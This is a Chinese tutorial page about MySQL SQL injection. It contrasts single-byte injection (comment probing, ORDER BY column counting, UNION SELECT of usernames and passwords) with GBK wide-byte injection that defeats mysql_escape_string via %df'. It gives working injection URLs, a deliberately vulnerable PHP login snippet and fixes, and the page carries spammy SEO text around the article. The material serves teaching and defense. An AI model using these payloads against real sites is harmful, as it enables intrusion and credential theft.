中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

MySQL中SQL的單字節注入與寬字節注入的區別

發布時間:2021-07-12 16:24:40 來源:億速云 閱讀:309 作者:chen 欄目:數據安全

這篇文章主要講解了“MySQL中SQL的單字節注入與寬字節注入的區別”,文中的講解內容簡單清晰,易于學習與理解,下面請大家跟著小編的思路慢慢深入,一起來研究和學習“MySQL中SQL的單字節注入與寬字節注入的區別”吧!

一、單字節SQL注入

MYSQL的SQL注入已經由來已久,以下是普遍采用的注入步驟:

1、在GET參數上加一個/*或者#(mysql專有的注釋),判斷數據庫是否是mysql,比如:
http://www.xxx.com.cn/article.php?id=1607 and 1=1/*

2、猜解某表的字段數,從order by 1一直更改到頁面出錯為止,就可以得到該表的字段數

注入URL:http://www.xxx.com.cn/article.php?id=1607 or 1=1 order by 10#

對應的SQL:

select * from articles where id=1607 or 1=1 order by 10#….

3、使用該表和用戶表進行關聯查詢,在文章列表里就可以看到用戶名和密碼了。當也要猜解用戶表的表名和用戶名、密碼的字段名,比如上一步得到的字段數是5:

注入的URL:http://www.xxx.com.cn/article.php?id=1607 or 1=1 union select  username,password,1,2,3 from user

對應的SQL:

select * from articles where id=1607 or 1=1  union select  username,password,1,2,3 from user

這樣就可以在界面上看到用戶名和密碼了。

解決方法:

過濾數據:這并不是羅唆。在合適的地方使用良好的數據過濾,可以減小多數安全隱患,甚至可以消除其中的一部分。

將數據用括號包含:如果你的數據庫允許(MySQL 允許),在 SQL 語句中,不論什么類型的數據都用單引號包含起來。

轉義數據:一些合法的數據可能在無意中破壞 SQL 語句本身的格式。使用 mysql_escape_string() 或者所使用數據庫提供的轉移函數。如果沒有提供這樣的函數,addslashes() 也是不錯的***選擇。

二、寬字節注入

寬字節注入也是在最近的項目中發現的問題,大家都知道%df’ 被PHP轉義(開啟GPC、用addslashes函數,或者icov等),單引號被加上反斜杠\,變成了 %df\’,其中\的十六進制是 %5C ,那么現在 %df\’ = %df%5c%27,如果程序的默認字符集是GBK等寬字節字符集,則MYSQL用GBK的編碼時,會認為 %df%5c 是一個寬字符,也就是縗’,也就是說:%df\’ = %df%5c%27=縗’,有了單引號就好注入了。比如:

<?
$conn = mysql_connect(”localhost”,”root”,”2sdfxedd”);
mysql_query(”SET NAMES ‘GBK’”);
mysql_select_db(”test”,$conn);
$user = mysql_escape_string($_GET['user']);
$pass = mysql_escape_string($_GET['pass']);
$sql = “select * from cms_user where username = ‘$user’ and password=’$pass’”;
$result = mysql_query($sql,$conn);
while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
$rows[] = $row;
}
?>

則通過以下注入即可:
http://www.xxx.com/login.php?user=%df’%20or%201=1%20limit%201,1%23&pass=

對應的SQL是:

select * from cms_user where username = ‘運’ or 1=1 limit 1,1#’ and password=”

解決方法:就是在初始化連接和字符集之后,使用SET character_set_client=binary來設定客戶端的字符集是二進制的。如:

mysql_query(”SET character_set_client=binary”);

感謝各位的閱讀,以上就是“MySQL中SQL的單字節注入與寬字節注入的區別”的內容了,經過本文的學習后,相信大家對MySQL中SQL的單字節注入與寬字節注入的區別這一問題有了更深刻的體會,具體使用情況還需要大家實踐驗證。這里是億速云,小編將為大家推送更多相關知識點的文章,歡迎關注!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

达日县| 合山市| 海兴县| 福泉市| 阿合奇县| 梧州市| 当雄县| 阿拉善左旗| 灵寿县| 博湖县| 米脂县| 炉霍县| 平塘县| 洛宁县| 平远县| 甘孜| 邢台县| 山阳县| 桃园县| 黑河市| 河东区| 海盐县| 台山市| 桃园县| 奉贤区| 浠水县| 资阳市| 阳东县| 合山市| 平潭县| 南安市| 故城县| 昌都县| 盐亭县| 永安市| 涿鹿县| 北流市| 阿巴嘎旗| 古田县| 天镇县| 日土县|